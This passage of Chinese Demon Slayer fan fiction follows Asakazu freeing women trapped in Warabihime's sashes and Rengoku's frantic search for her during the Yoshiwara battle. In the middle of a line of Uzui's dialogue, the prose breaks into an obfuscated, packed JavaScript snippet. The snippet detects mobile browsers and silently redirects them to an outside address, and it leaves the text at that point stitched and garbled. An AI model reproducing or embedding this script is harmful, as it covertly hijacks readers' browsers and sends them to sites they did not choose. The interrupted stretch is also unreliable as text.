仍然闭着眼,周围寂静无声,仿佛此处是声音与光线无法到达的黄泉之地。可是我能够感受到,原本凝固在空气中的气息再次得到扩散,我会破开焚烧着的花楼,打碎这个无望的深梦,让一切重新醒来。 桎梏思维的枷锁随着一应破碎时,身体重获沉重的实感,踩落在地面结实的触感让人安心无比。 她最后的声音响起,“现在,睁开眼睛吧……朝和,去做你应该做的事。别忘了,你是有栖川家的女儿。” 她已经离开,我闭着眼,一时不愿睁开,仿佛只有这样才能假设她依然还在我的身后。外祖母,我从未见过她,不知道她的皮肤有怎样的温度,但她的存在始终留存于我们的生命中。 不过,凡事总有例外,我没能感怀太久。只听见一个尖厉的女声不可置信地尖叫着:“不可能!” “你是怎么醒的?你怎么可能斩断我的绸带?”被现实狠狠冲击的声音在咆哮时甚至破了音,然而熟悉感并没有消失,反而愈演愈烈。 是了,记忆回笼,那个我失去意识前敲响木门的游女,正是这样一把嗓子。 我睁开眼。入目是纵横交错遍布眼前全部视线的绯色绸带,其上的花纹样式与我所看到的那条一模一样…… 那是什么?我拧眉看去,宽幅绸带之上有数不清的栩栩如生的美人画像,一个个皆是闭目之姿,各不相同,而我正站在这些形如横生枝节的绸带正中间。我四下打量着,竟然在那些美人像中发现了须磨小姐与槙於小姐二人!甚至还有睡死过去的善逸! 在我身旁垂下的绸缎一头无力地耷拉着,微微摇晃,碎开其间的裂痕完整有力,正来源于我手中的日轮刀。 不祥的预感已经昭示此处是为何地! 蜗居在吉原游廓的恶鬼蕨姬,用绸带将花街中年轻貌美的女子绑缚,封藏在此处作为储备粮。当她感到饥饿难耐便吃下几个,反正花街之中还有源源不断新来的女子会为她供应新鲜的货源。 再远望去,藏在岩土之中的洞穴深而巨大,平整的地面上白骨堆叠,数不胜数,无数年轻生命消亡在此地,化作黑夜中盛放的那株恶之花最珍贵的养料,让那花开得愈发艳丽惑人,仅是一个吐息就蓬发出足以叫人战栗的惊悚。 从未见过的景象令我不觉驻足原地,与天主教堂中以金玉宝石华贵装饰的圣人遗骨不同,这些四散在地的白骨是被随手扔下的,几乎失去完整的形状,在尘埃中只有那死前不解的忧愁得以保留。蕨姬是怎么杀了她们?她们死亡的时候知道自己正在死去吗? 临死前推开黄泉比良坂的大门,在阴雾席卷的漆黑之地,踏过冰冷河水时,那些无辜的可怜的女子……心里会想着什么呢? 我终于看到蛇一样竖立着身体的尽头,那段绸带的末尾如同鲜活的生灵般生有人面,此刻正怒目瞪视着我,她咬紧牙关,涂得鲜红的嘴唇裂开,露出惨白的牙齿。 它看起来多像是地上躺着的女孩儿们,非人的异貌在这一刻没能为我带来摧毁理智的震撼,只因我心中正如喷发前的火山不断翻腾,我知道自己那咆哮的源头——出离的愤怒让我收紧双手握住刀,若非如此,我的力量便无处去使用。 绸带蛇一样屈折起身子,以折叠的体态积蓄力量,猛地向我飞射而来。我本不能捕捉到它移动的轨迹,但感受自己呼吸时得到的玄妙体验仍未失去,它破开空气扰乱气流秩序的意图在刹那间被我捕捉。 压下刀刃,翻转手腕,把全部思考的余地皆交给身体,炼狱杏寿郎当初手执木刀与我对阵的样子在脑海闪现,他是如何战斗的?对于呼吸法的运用我依然不得章法,却也明白此刻的我与平常不同,能更大限度发挥出这柄日轮刀斩鬼的威力。 屏息凝神,只在眨眼的一息之间,模仿着杏寿郎使用炎之呼吸时的样子,横放的日轮刀抡圆挥出,赤红的 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我深深地呼吸,这些绸带从高处悬挂下来,飘飘幔幔,已将整个洞穴的半空占满,绝非我那几下挥刀就能全部斩断的。相较于使用刀剑,更适合我的……将日轮刀纳回鞘中,我转而摸向口袋中沉睡的手枪。 但不等我做出行动,一段擂鼓般轰响的声音由远及近,逐渐炸入这处洞穴,比起我的不解,绸带的表情更是千变万化。我感受到极具冲击力的气息迅速逼近,伴随着难以形容的声响,像极了某种猖狂的啸叫,得从腹部一直鼓胀着用力发声,炮弹般冲出喉咙。虽然不明来源,但我并未体验到带有敌意的尖刺,只是轻身向一边躲去,在动作间掩盖住为枪上膛的小动作。 这时我才发现在我站着的地方不远处,有一个小小的地洞,大约只能把头部塞入的大小,在地面上张开漆黑的嘴。或许这就是绸带进出这里的通道。 我死死盯着它,想到自己也是被封藏在绸带上钻过这段地道进入这里。以此处的规模而言,蕨姬一定不会把自己的粮仓藏得太远,必然还在吉原之内,或许会是较偏远些的地段。 要怎么才能离开这里? 看不见天色,我甚至不知道自己已经被困此处多久了,想到这里,便不由担忧起杏寿郎。若是他回到荻本屋时不见我的踪影,该如何寻我? 突然间,响声已近似雷鸣,轰隆不绝,而那个漆黑的洞口中突然钻出一个猪头! 我大吃一惊,一时间甚至无法理解自己眼见的景象。然而紧随其后挤出的属于人类的身体因为极速的惯性扑向半空,四肢飘摆着摇晃了阵,落地时踩得结结实实,猪头四处张望了下,我们对视上眼神,激奋的情节发展使我欣喜而笑。 “啊,是你啊。” “伊之助!” 伊之助的出现在一瞬间便为我解决了所有问题,用一句古话比喻真可谓天助我也。 我急忙告诉他那些绸带上的人是蕨姬的储备粮,其中包括善逸和须磨、槙於他们,并警告他千万小心那个绸带鬼,日轮刀似乎不能斩断它,或许他们的呼吸法会有奇效。 伊之助闻言才发现我口中所谓的“绸带鬼”,他整个愣住,像是受到极大的震撼,不可思议地大叫道:“这蚯蚓怎么长这样!恶心!” 绸带鬼眼珠滴溜溜地乱转着,血丝散布在眼白之上,将眼眶撑得极大,那张红颜的嘴唇逐渐扭曲,连绸布上都拟人化地显出鼓起的青筋。 “今天是怎么回事?” “一个两个的,随随便便闯进别人的粮仓,还乱搞破坏!” 她气极了。不确定是为我们的打扰,还是伊之助贬低的真心话,总之已在失去理智的边缘,毫无准备地猛然弹射向伊之助所在的方位。他比我灵巧太多了,矫健的身体可以轻松快速地做出各种战斗应对,包括一系列高难度躲避动作。 伊之助飞鸟一样灵巧地跃空躲过缠缚,他施力挥刀向那张狰狞的面孔,我从另一个方向向它开枪,子弹划过边缘,并没有射中。但不在预料之中的奇袭还是逼得它无法退去,只能沿着伊之助的刀刃弯折开。 动态射击确实会难一点呢。 我平复着心跳迅速跑到另一侧,对着悬挂的绸带开枪。子弹将会射中的位置异常关键,不能过高过低,得对照着被封印的少女们头顶之上的位置撕裂束缚的空间。只有这样,她们才会回到现实之中。 那么,第一个,是须磨小姐。 原本如印在布料上的花纹般扁平的须磨小姐随着裂开的绸带垂下的动作逐渐恢复正常的状态,她顺着下垂的力摔落在地,但还未醒来。 我本欲去扶起须磨小姐,但破坏行径显然真的惹怒了粮仓的主人,它尖啸着调转方向不再与伊之助缠斗,而是向我冲来。我眯起眼,下一发子弹已经做好准备。 但不等我开枪或是躲开,伊之助已经非常可靠地反身用刀刃将绸带拖拽回去,猪头上微粉的耳朵动了动,他理所当然地表示:“喂!你这蚯蚓的对手是本大爷!” 咦!看着猪头越看越顺眼了是怎么回事! 我情不自禁冲他比出赞赏的手势,往另一侧跑去,“伊之助,它就先交给你了!” “喔!” 这绸带鬼并非本体,伊之助或许也暂时无法将它真正绞杀,但我们的最终目的本来也不是与它这傀儡般的存在做个生死决斗,还有更重要的事正等待着我们。 下一个,是槙於小姐。 接下来,是善逸。 猩猩绯砂铁和猩猩绯矿石终于在千锤百炼下被制作成一种特殊的空包弹,击中后会炸出锋利无比的碎片。虽然随身携带的子弹数量并不可观,装填子弹也颇费工夫。可我们又不是孤身一人。 苦无与飞镖被飞射出时锐利的破风声已然响起,寂静处熟睡着的善逸缓缓站起身,我已经听过不少他的事迹,他将手按在刀上,神情平静中酝酿着疯狂的暴风。 下一枪,目标就是那可怖的恶鬼。 39. 焦灼 离开的时候炼狱杏寿郎什么也没想。或者该说在那个时候,他脑子里什么也没多想才对。 他和宇髓天元利用鎹鸦早已约定好碰头的地点,黄发少年失踪的游女屋理所当然是第一案发现场,对吉原地形更为了解的宇髄天元会进入京极屋侦查。原本炼狱杏寿郎也是要去那里会合的,但是有栖川朝和的紧跟无疑成了最大的变量。 在此之前,炼狱杏寿郎也猜想过得知目前的境况后少女会紧跟不舍这个结果,她并不是普通的女孩子,她更勇敢,更坚强,也有些许自保能力,能够看透事件的主次,但对炼狱杏寿郎而言也更重要。他当然可以拒绝,但是拒绝并不有效,况且只要有她在身边,他的一切意志就会无限向她倾斜。 于是,带她在身边,炼狱杏寿郎只能接受自己保护好她这一个决定。但是…… 在前来花街的路上,坐在前行的汽车上,他握着那把不属于自己的刀,缓慢地、无比缓慢地调整着气息,让呼吸的韵律逐渐遍布全身。呼吸法在之前的日子里一度变成对他而言最致命的东西,所有一切都告诉炼狱杏寿郎他必须远离它,否则早已结痂的伤处骇人的幻痛就会汹涌来袭。 只有时间能抚平这种伤痛,他很缓慢地在一个又一个日夜交替里将自己变成一个普通人,直到流淌在血管里的药效那形如鬼的鲜血能改变人的身体一般的存在感逐渐降低、彻底远离。再拿起木刀时,如同事隔经年。 炼狱杏寿郎知道现在的自己并非从前的自己了。 他曾经幻想过自己在无限列车后死亡的结局——这不奇怪,毕竟彼时他真的抱着必死的决心去面对——事实上他不认为自己的存在与否会成为彻底影响局势的关键,他们都是洪流中的一滴水,追捕鬼的一束光,无非是他的出现更早一些、到来的更声势浩大一些,消失得也更惨烈一些……没人不会畏惧生死,但在永恒而决断的信念面前,关于生死的浅谈实在是太简陋了。 他在怀疑自己是否真的痊愈了。如果没有痊愈,为什么身上已经没有伤口未愈合了?如果已经痊愈,为什么痛楚仍然存在着?这不仅来源于自身,当然也存在于外界。 当朝和看向他时,无论那双千岁绿的眼睛里藏着怎样的情感,总有着伤感与担忧深深地匿在最后。甚至有很长时间她的过度忧虑是无法掩盖的,当发现她无论何时身处何地,第一时间都得寻找到自己时,炼狱杏寿郎感觉到一股尖锐的疼痛隐秘地扎进心脏。他知道自己正在伤害她。 离开那间装潢华丽的和室,轻身踩在深灰的覆瓦上时,炼狱杏寿郎的安排相当明确,他要迅速地前去与宇髄天元碰头,尽快敲定后续事宜——尽管在宇髓眼里,他作为没有日轮刀的剑士顶多算是半个劳动力,但伊黑还没来,而上弦之鬼正在阴影处凝视着他们。 炼狱杏寿郎醒来后向他们描述过猗窝座的实力,那是几乎无法用提升自身这样空洞的概念就能跨越的鸿沟,尽管上弦三已经是顺位最靠前的代表,但是他们之中又有谁遇到过别的上弦呢——加入战局对于炼狱杏寿郎而言不可避免,他也从不认为自己应该脱身而出。 但是这一切都得在保护好朝和的前提下进行,无论结果如何,哪怕今日便是世界的终焉,他也得先朝和一步赴死。 他在游廓最边缘的区域见到宇髄天元,这里荒凉破败,房屋低矮阴暗,满是丛生的杂草与堆叠的灰尘,蜘蛛躺在角落里寂寞地拨弄着蛛网,痛苦的低吟充斥着每一间木屋,灰败的、已经失去“价值”的一张张面孔躲藏在阴影里等待死亡的降临。 宇髄天元的其中一位妻子,记得是叫雏鹤的那位,朝和曾经向他感慨对方眼下的痣是多么精妙且让人着迷,那时他只是笑着低头看她,或许她也并不知道那一刻中侃侃而谈的自己有多让他着迷。 “已经没事了吗?”炼狱杏寿郎看着走出矮室的宇髄天元问道,宇髓向来自信的表情这会儿正泛着阴水。 “……已经吃了解药了。”宇髄天元将叹息无声地放置,眉宇间愁郁已经彻底转化为坚毅,“蕨姬……必须尽快找到她。我会去京极屋再探查一次。” 天快彻底黑了,还剩下些许炽烈残留在地平线之上,用灼红的光线吵闹地挤向全世界。 “她或许已经不在京极屋了。”炼狱杏寿郎推测,“黄发少年的失踪可能是被发现了鬼杀队的身份。” 这是一个极其不妙的导向,将局势愈发推向敌在暗我在明。他当然记得昨天夜里与那位花魁短暂的碰面,在他看来确实也十分美丽的面孔下似乎正隐藏着什么,从黑暗的走廊尽头缓缓踏入光线范围时,被妆容与华贵服装包裹的女人带来的视觉享受远不如精神冲击来得更明确。 但那时他的注意力全部放置在朝和身上,她的恐惧降临的太过突然,突然到炼狱杏寿郎一时没法分神去思考别的。比如蕨姬真有那么强的隐藏能力吗? 他有些担心了。 “我会去找一下灶门少年和猪头少年,”说到这两个孩子的纪律性时两位柱大人都微微拧紧眉头,“我觉得黄发少年应该还活着,蕨姬并不会第一时间将他吃了。” 吉原内实在是太不缺食物了,更优良更上等的食材比比皆是,何况蕨姬潜藏在此已久,她根本不会遇到食物短缺的难题。所以相比起捉到一个就立刻咽进肚子,身为鬼杀队成员的黄发少年更适合做一枚能被掌握的鱼饵,用来钓他们——鬼杀队的柱,好让鬼能够更顺利地去摧毁,或是更激烈地饱食。 他们简略确定各自下一步的计划就分开了,各自行动的习惯搭配多年共事的默契让接下来的步调逐渐统一。 炼狱杏寿郎的当务之急是赶在太阳彻底落山的这一分钟里立刻去到有栖川朝和身边——他的急切越来越满,这不是近乡情怯,而且忧虑正在无限叠加,一层一层,一层一层,逐渐越堆越高,直到沉重地压在心上,让下一次跳动都变得凝滞。 呼吸法运转在双腿,脚尖落在灰砖时轻若无声,这是他在受伤后第一次如此迅速地运转呼吸法,几乎回到了那个无限列车脱轨而出的寂静无声的漫长夜晚。只是几分钟而已,他追赶着阳光,婆娑的声色快要登上此地,黑夜蔓延向整个天空,势不可当地扑向最后的余晖。 但是近了,越来越近了,香气满溢的荻本屋已经挂上点燃的灯笼,有几个游女聚拢在阳台张望,热闹中他渴望看见的那一幕并未展现,只是遥遥一眼炼狱杏寿郎就感觉到自己的呼吸正在僵持。 ——他离开时大开的窗口此刻紧闭。木窗紧紧遮掩着正方的洞口,黑魆魆的和室被挡在其后。 炼狱杏寿郎不知道自己是怎么打开那扇窗的,连烛火都不曾亮起的和室里空无一人。 炼狱杏寿郎想起自己重伤醒来时朝和靠在自己病床边的那一刻,她趴在自己的臂弯,小心翼翼但坚定地握住他的手,当他尝试缩回手时,少女不安的长睫正在颤动,仿佛下一刻就会醒来。那时她的心里是什么样的感受? 当看着浑身浴血的自己时,有栖川朝和的心里究竟在想什么?那一刻她心里是悲伤更多还是绝望更多?当她每一次看向得以幸存的自己时,被掩盖在极度高昂的后怕之下的愤怒,像海面下隐隐燃烧的阴火,或许炼狱杏寿郎不懂,因为他们的诉求从来不同。 但全世界所有的惊慌在这一刻毫无保留地冲他涌来。他脑海中维持冷静的那根弦瞬间断了,没有一丝留恋。 愤怒是可以被具象化的氛围,可以煮沸无边的海水,不过这叫人灼痛不堪的感受只针对自己——炼狱杏寿郎握紧拳头,脖子上那根筋络正在猛跳——他从未有过这样的愤怒,佐以现实的嘲笑,正告诉他算错了。 朝和……在哪里? 他计算了一切,只是几分钟而已,他以为自己来得及,却算漏了危机的不定性,忘了他的少女正是最可口的食物。 血肉早就生长完全的那个伤口又在痛了。 这次疼痛不是由呼吸法引起的,他甚至没意识到自己正在快速运转呼吸法,身体的本能会告诉你所有自己没料到的秘密。就像爱一个人永远是藏不住的,闭上嘴就会从眼睛里溜出来,闭上眼睛,心跳会告诉你答案。 这次是从大脑最先开始疼的,聚焦在神经的感官无限放大了慌乱,在眨眼间助力他心上叠加的忧虑变为恐惧。 真奇怪,母亲去世时他没有感到恐惧,父亲颓丧时他没有感到恐惧,第一次面对鬼时他没有感到恐惧,胸膛被猗窝座破开、意识流失时他依然不曾感到恐惧,但是现在,恐惧正在肆虐,最先被摧毁的是理智,紧接着是情绪,很快,这种极端的病症扩散到全身,他感到手脚冰凉,指尖甚至脱力到麻木,握不住刀,无法移动,头晕目眩的苍白占据视线,最后回馈成伤口不可忽视的阵阵幻痛。 他在恐惧什么? 炼狱杏寿郎感受着房间内残留的气息,是朝和常用的熏香,游女屋里一贯的香味流动,在静止的此处便分外明显。他陷入无法自理的意识丧失,又在极短的时间内恢复正常——看似正常——所有的一切没能让他昏厥,疼痛甚至点破了他的顾虑,让他更加清醒地看着眼前的场景,感官也变得无比敏锐。他发现角落处略微移动过的席面,掀开时浅薄的灰尘上依然留下了蛰伏过的凌乱痕迹。 脑袋里灵光一闪,是腰带。 炼狱杏寿郎从窗口追出,在屋顶上与宇髓天元再度重逢。 “蕨姬果然不在京极屋,但是我听到那边的地下有些声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613437|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。如果她没有立刻吃掉善逸,那么储藏在隐蔽的角落会是一个绝佳的选择。” 宇髓天元指了指方向,他的视线无意地扫过炼狱杏寿郎全身,没出口的话却很明显,他不认为炼狱杏寿郎要跟着去决战上弦之鬼,在他看来他估计还只是个病号,送死的事不适合他,保重身体帮忙疏散人群才是最佳选择。 “朝和不见了。”炼狱杏寿郎没让他把话说完,他们并列在一座又一座深灰的屋顶间疾驰,这些黑暗中形如孤岛的屋顶正一个接一个被点缀满光亮,属于吉原游廓隆重的夜晚已然亮相,但属于鬼杀队的战场还没开场,“是被蕨姬的腰带抓走的。”他肯定道。 寂静叫空气冷落下来,宇髓天元瞥了他一眼,他没说话,但是眼神里只有控诉:你竟然把那小丫头也带来了! 炼狱杏寿郎沉默地接受了同伴的鄙夷,在心里深深叹气。 依靠音柱优秀的听力,他们停留在接近吉原游廓最边缘的位置,这儿不仅是整个吉原最边缘的地方,从那些老旧的和屋来看,这儿只能是最普通的吉原住民生活的地段,再远一些只有荒僻的群山与零星的村庄。 最疯狂的游女逃跑时也不会选择这个方向,黑夜中笼罩寂静的危机远超所有人想象,像一道天然的屏障隔绝着这里的女子与外界的自由。对于鬼而言,又何尝不是最妙的庇佑,完好地保护着她“粮仓”的安全。 宇髓天元拔出双刀,缠缚着的棉布正在风中飘荡,他们交换过视线,炼狱杏寿郎退开了些。 巨大的轰鸣紧跟着宇髓的招式放出砸向整片地面,绵延出令人不稳的地动山摇。 一路奔跑中炼狱杏寿郎没有得到放松,他的神经依然紧绷着,灵魂也不曾挣脱意识的遮挡。他知道自己正在等待着那个时间。 不过战斗的声音已经越来越近,虽然隔着厚厚的地面,但是震动着空气传来的动静已经无比清晰,他能用自己的耳朵听到刀刃破开空气的锋利,还有子弹射出枪膛的爆破。朝和的气息也在敏锐的感官中逐渐凝结成实质,淡淡的熏香没能掩盖火药燃烧的刺鼻,这气味是撕开黑夜漏下的天光,让炼狱杏寿郎略微放平了心跳的引擎。 一个漆黑的洞口出现在尘沙之间。宇髓天元率先跳下去,炼狱杏寿郎紧跟其后。放在从前这是绝不需要担心的高度,但现在他的心脏正在剧烈跳动着,因为等待的时间越来越近了! 从宇髓天元斩落的漫天布帛碎片间,这个空荡荡的冷寂的坑洞中,举枪站在原地的少女格外显眼。原本扎成马尾的长发略微凌乱,鬓角边的碎发毛躁地歪着,她表情认真,正皱着眉看向他们的方向。 但炼狱杏寿郎只能看得到她。 他忽然觉得自己一生都在寻找一个方向,要为那条彼此唯一的道路点燃火光。在过去的岁月里所得到的平静并非全然的安定,他始终没有得到契合的那个碎片。 那个碎片就在眼前。 炼狱杏寿郎快步跑向有栖川朝和,在一切结束前将她用力抱进怀里,他听见自己的心跳与她的呼吸,交错的乐章激烈无比,她在看到他的瞬间严肃的神情就转成双眼中波光粼粼的信任,让他因为盼望成真而几乎颤抖的灵魂也化成柔软的水湾。 “杏寿郎!”她叫他的名字,笑是习惯性的动作。她什么时候看到他没有笑呢?啊……只有他受伤的时候,笑容不再后,一滴泪水里就占据了整片海洋的涩。 “朝和……” “我很担心你……”出乎意料地,炼狱杏寿郎突然这样说道。 少女抱住他的时候,因为这句话转而轻柔地拍了拍他的脊背,或许她懂这种感觉,知道对方身陷危险时无能为力的自己有多仓皇。 “没关系。”有栖川朝和松开怀抱,伸手捧住他的脸,微凉的指尖在触碰到脸颊的皮肤时,温度差让炼狱杏寿郎忽然醒了,但少女用力捧着他的脸,让他定定地注视着面前的人,陷进沉郁的绿。 “没关系,我什么事也没有。”有栖川朝和弯弯双眼,缓声告诉他,“我什么事也没有!” 我想保护你。 我会保护你。 我有好好保护你了吗? 他在忧虑,他在恐惧,他在仓皇无措,他在怀疑自己。但是有栖川朝和告诉他没关系,她在用行动告诉炼狱杏寿郎她会是最后一个离开的人,这离开绝非主动,就像他暗自发誓要用生命守护她一样,在死亡到来前,她绝不会离开他。 “……对不起,朝和。再也不会了。”他终于可以安心地闭上眼,埋在她颈侧,却始终不愿松开臂弯分毫。 他在恐惧什么呢? 他恐惧的是不能再见到她。无论生命有没有走到尽头,一切都会失去意义。 40. 痛觉延迟 罪名我难免,地狱我难逃, 孤苦情怀更永难消解; 这苦刑便是对我的回报: 它总是不灭,又总是毁灭! ——拜伦 疼痛总是来得很迟,往往在肉眼看到伤口之后,痛感才会姗姗来迟。有时会更久,久到伤口已经愈合,这连绵不绝的阵痛才会一刻不停地侵扰灵魂。我直到后来才意识到这一点,疼痛和受伤并不是绑定的,出血量并不影响感官的放大,肉眼能观测到的平静并非真正的无碍,暴露在视野下的邪恶也不是绝对的黑暗。 而此时此刻,黑夜中沉睡的吉原不似往常任何一天,歌舞升平的景象消失不再,反而因为战斗巨大的声响躁动不已,像极了煮沸的一锅开水,不安分地咕咚咕咚冒着气泡。许许多多的气泡上升、破裂、发出噪声。有一个方向传来房屋垮塌的声音,如同被什么利器重击,嘭地坍倒。 炉膛内被猛地添进一把干柴,火又开始烧了。 像几十年前的那场大火,将吉原游廓整个焚毁殆尽的那场大火一样,焰光已经升腾在建筑之上,从地面一直燃到屋顶,把垂幔烧毁,使玻璃爆裂。灯笼里的烛光熄灭,因为有更盛大的火炎替代燃起,一直攀升到瓦砾上,在作为幕布的黑夜前跳跃着,用浓黑的烟雾遮掩卷过的冷风,将月色映成晦暗的倒影。 到处都充斥着尖叫声。恐惧的残响盖过燃烧的噼啪,炼狱杏寿郎紧紧牵着我,我们、善逸少年还有槙於和须磨,跑出蕨姬储藏人类的粮仓,带着被封印在衣带中的女孩子们,追随着人流向吉原的出口跑去。 我们必须分开行动,这是唯一的解决办法。有人需要去追寻鬼的踪迹,将她灭杀在黑夜之下,还有人要去疏散游廓的民众,因为鬼杀队肩上承担着更重的责任,而个人的得失必须被放置在无辜的群众之下。 不同的任务标志着不同的方向,自然有着轻重缓急的分别。显而易见,我和槙於、须磨三人更应该负责疏散人群,这是我们可以做到并且做好的工作,而宇髓先生他们则必须承担更艰难更重要的任务。上弦之鬼,那是超出大家理解的量级。 炼狱杏寿郎自醒来后,在这些月里已经将与上弦三的战斗讲过许多次,连为了分析要点的柱合会议都开启过两次。上弦之鬼是与下弦截然不同的类别,其差距大到恐怕可以用两个物种来形容。现任鬼杀队中所有成员在此前从没遇到过上弦之鬼,更别提与之战斗,在这方面所有人都是空白的,只有炼狱杏寿郎切身地体会过。 现在,是第二次。 我当然知道杏寿郎在想什么,哪怕他深藏在心中的纠结也一清二楚。他应该去战斗,但此刻我站在这儿,那么,就得由我来开口——宇髓先生将双刀挥舞着收回背后,他摆摆手,语气是已经做好决定的不容更改,但听起来还是很轻快:“好了,炼狱,就拜托你去疏散民众了。”——没说出口的话只能咽回去。我们不约而同地看向宇髄天元,他笑着,伸手指向自己,“杀鬼的事就交给我们好了。” 他们……伊之助和善逸已经在他身后站定。 杏寿郎原本搭在刀上的手这会儿握紧了刀柄,这是一柄世间最普通的日轮刀,没有变色,不指向任何呼吸法,与谁都不匹配。“杏寿郎……”我出声想要叫他,理智念叨着或许应该告诉他去吧,没关系,去战斗吧。但语言有时太过单薄,我无法用简单的几个字来倾诉全部内心,即使我可以,也必须和他死在一起。 但他不是任何人,他是炼狱杏寿郎。他松开握紧刀柄的手,笑着缓缓点头:“嗯,”声音还和以前一样洪亮自信,“这边就交给我们吧,你们多小心!”他们没有说更多的话,战斗的嘱咐也好,注意的事项也罢,同僚多年,未尽的言语总在眼神对视的刹那就能被读懂。他们了解彼此,也会信任彼此。 宇髓先生露出一个理所当然的笑容,帅气地说着放心,带着伊之助他们轻快地跳出洞穴上的开口,飞速朝着方才巨响的方向跑去。 但是……只有炭治郎不在这儿,可远处隐约传来的巨响却越来越近了。他会遇到蕨姬吗?我有些担心。 “还好吗?”杏寿郎转过身问我。我点点头,他用目光将我上上下下又仔细地检查一遍,确认的确没有什么伤势后,才放心地看向槙於她们,询问她们是否能够行动。槙於和须磨比我受的伤肉眼可见的要多些,大概是被封印在衣带之前就已经与蕨姬有过交手,但这两位女士毕竟是忍者出身,经历过诸多训练与磨难,身体素质也比我强上许多,即使这样都比我神采奕奕。 宇髓先生的忍兽肌肉鼠鼠寻找到洞窟的出口,我们招呼着从衣带中醒来的女孩子们一同离开。跑出后我才知道这个粮仓被隐藏在什么位置,沿路只有低矮破旧的木屋,空气中弥漫着难闻的酸臭,处处显出荒败与苍凉,几乎是吉原的最边缘。 会居住在这儿的人大约是游廓的最底层,贫穷是他们的必备品,褴褛衣衫遮不住对生活麻木的无望。不仅如此,还有更可悲的人生被捆绑在他们身上。有的是人——出生在别处的似乎“更高贵”的那部分——用恰如虫豸、老鼠一类的词汇形容他们,好像出生在这里的他们污染了吉原、破坏了游廓的生态。即使这不是能够自主选择的。 可是关乎生死的灾难面前,人类都一样。无论你是富贵贫穷,都只能不顾一切地冲着安全方向竭力跑去。惊慌是一种会在人群中迅速传染的病毒,用不了多久就能染得每个人都颤抖不已,正迈着步子的小腿肌肉也哆哆嗦嗦。无论是卖身于此的游女还是前来寻欢作乐的客人,无论是颐指气使的鸨母还是委曲求全的侍从,数不清的人从房屋中挤出,汇聚进奔跑的人流。 原来吉原藏着这么多人,这会儿你分不清他们之中的哪一个是哪一个,因为灾难正紧紧追在后面,轰然作响。 被疏散出那道精美门楼的人群四散而开,安全了吗?没人敢回头张望,他们的逃路没有尽头。杏寿郎他们正在招呼人群迅速撤离,我定定地站在原地,看着一个个逐渐模糊的背影,忽然想到:那些被困在这儿无法逃脱的女子会顺势离开吗?她们的命运会得到更改吗? 这些念头出现得很突然,但在那一刻我几乎忘记了一切。直到花街中声响愈演愈烈,危机感惊呼糟糕了,我回身看去,只能在无边的夜色中隐约看见几道闪烁的红光飞出,炽烈的红色无情割裂建筑,砖瓦掉落时砸出堪比爆炸的动静。 明天这里会是什么样?我竟然还有闲心思考这个。不过很快我意识到有些不对劲,我的思维……或者该说我的身体,皮肤之下的零部件各有各的主张,它们各自成为大脑的上级,凌乱地发号施令,而脑意识空有指挥的虚名,除了让我无限发散乱七八糟的念头,连让我眨眨眼的权利都没有。 眼前火光燎天的景象逐渐模糊,被涂抹成斑斓的色块,我先是感到眼睛酸涩,很快湿润自顾自地冒出来,围在眼眶边缘,仿佛一眨眼就会落下。但并没有落下,因为色块最终归纳成统一的白,浩瀚无边的纯白向我眼前挤压而来,呼吸艰难,神经中枢没法运作,大脑就比任何部位都沉重了。在下一秒我没能站稳,险些跌向地面。 火热的一双手立刻紧紧搀扶住我。 “朝和!”炼狱杏寿郎焦急的声音正在呼唤我的名字。幸好听力装置还能正常运转。我茫然地抬头看向他的位置,或许看到了,但杏寿郎手上的力气没有放松,甚至声音里的担忧更浓烈了。 “朝和,还好吗?”他的某个尾音似乎在颤抖。我闭上眼,脑袋已经无力地挨在杏寿郎肩头,依靠这支撑重新缓冲,但无力感顺着脊椎一路向下,手指酸软,冰凉的指尖呈现麻木,双脚脱力般软了一下。 炼狱杏寿郎扼住我的腰,现在我只凭借他的力气站立了。[嗯嗯] 我很快醒过来,即使身体没能完全恢复正常,意识海里乱得如被飓风摧残过,没有一个念头能坚强地冒头。思考的能力得到放弃,我保持着大脑空白,在炼狱杏寿郎怀里大口喘气——不这样的话,就活不下去——这是身体的本能在警告我。我对原因一无所知。 炼狱杏寿郎只能紧紧抱住我,直到我重新有力气控制四肢。应该是不长的一段时间,但他的脸色在我印象中是第一次这么凝重,我尝试着站稳,想对他露出笑容。可是动作做出前,鼻腔忽然难以忍受的痒,某种濡湿正在下坠,让我不觉想伸手去触碰…… 炼狱杏寿郎一把抓住我的手。 咦? 现在可怜的、混沌的大脑分析不出用意,我奇怪地看向他,但不等在炼狱杏寿郎赤金色的眼睛里找到自己,一股腥臭味便堵在我的呼吸之前。我看到皱紧眉头的他眼中,脸色苍白的自己,鼻尖两道犀利的红。 这个晚上实在发生太多事了。 仿佛永远不会结束的夜晚,所有灾难接踵而至,我昏沉的大脑几乎没能记住什么,但现在回想起来,又觉得一切清晰得可怕——蛇柱大人是在我发生状况后不久被肖恩载来的。肖恩车开得极快,刹车时轮胎碾过路面发出挤压的刺耳擦声,地面上轻易划出两道灰黑辙印,蛇柱大人伊黑小芭内与肖恩一前一后地跳下车。 游廓入口聚集的人实在太多了,吉原中发生的剧变无可遮掩,即使有有栖川家出面,也还是惊动了警卫队前来。汽车只能开到这里,喧闹堵在入口处,形成实体般的屏障,叫人不敢入内。 与伊黑先生和肖恩汇合时,杏寿郎正替我擦去鼻血。须磨小姐惊慌失措地围着我打转,眼泪收不住地往下落,槙於小姐一定也没见过这场面,她一边努力制住须磨,一边试图指导我别仰起头。场面太混乱了,伊黑先生脖子上缠绕的蛇无声吐舌,他从喉咙里榨出一声疑惑的低音。 等我们终于赶到战场时,战斗已至白热化。藏身花街的蕨姬是上弦之六,但上弦之六并非只有她一人,还有她的兄长妓夫太郎。这对兄妹看着迥然不同,任何第一眼看到他们两个的人都不会生出原来他们是亲生兄妹的念头。即使鬼化会破坏原本人类时的外貌,但在蕨姬身上如同美貌加成的花纹,转化到兄长身上时,则夸张地凸显了他身材的极端与外貌的非人。 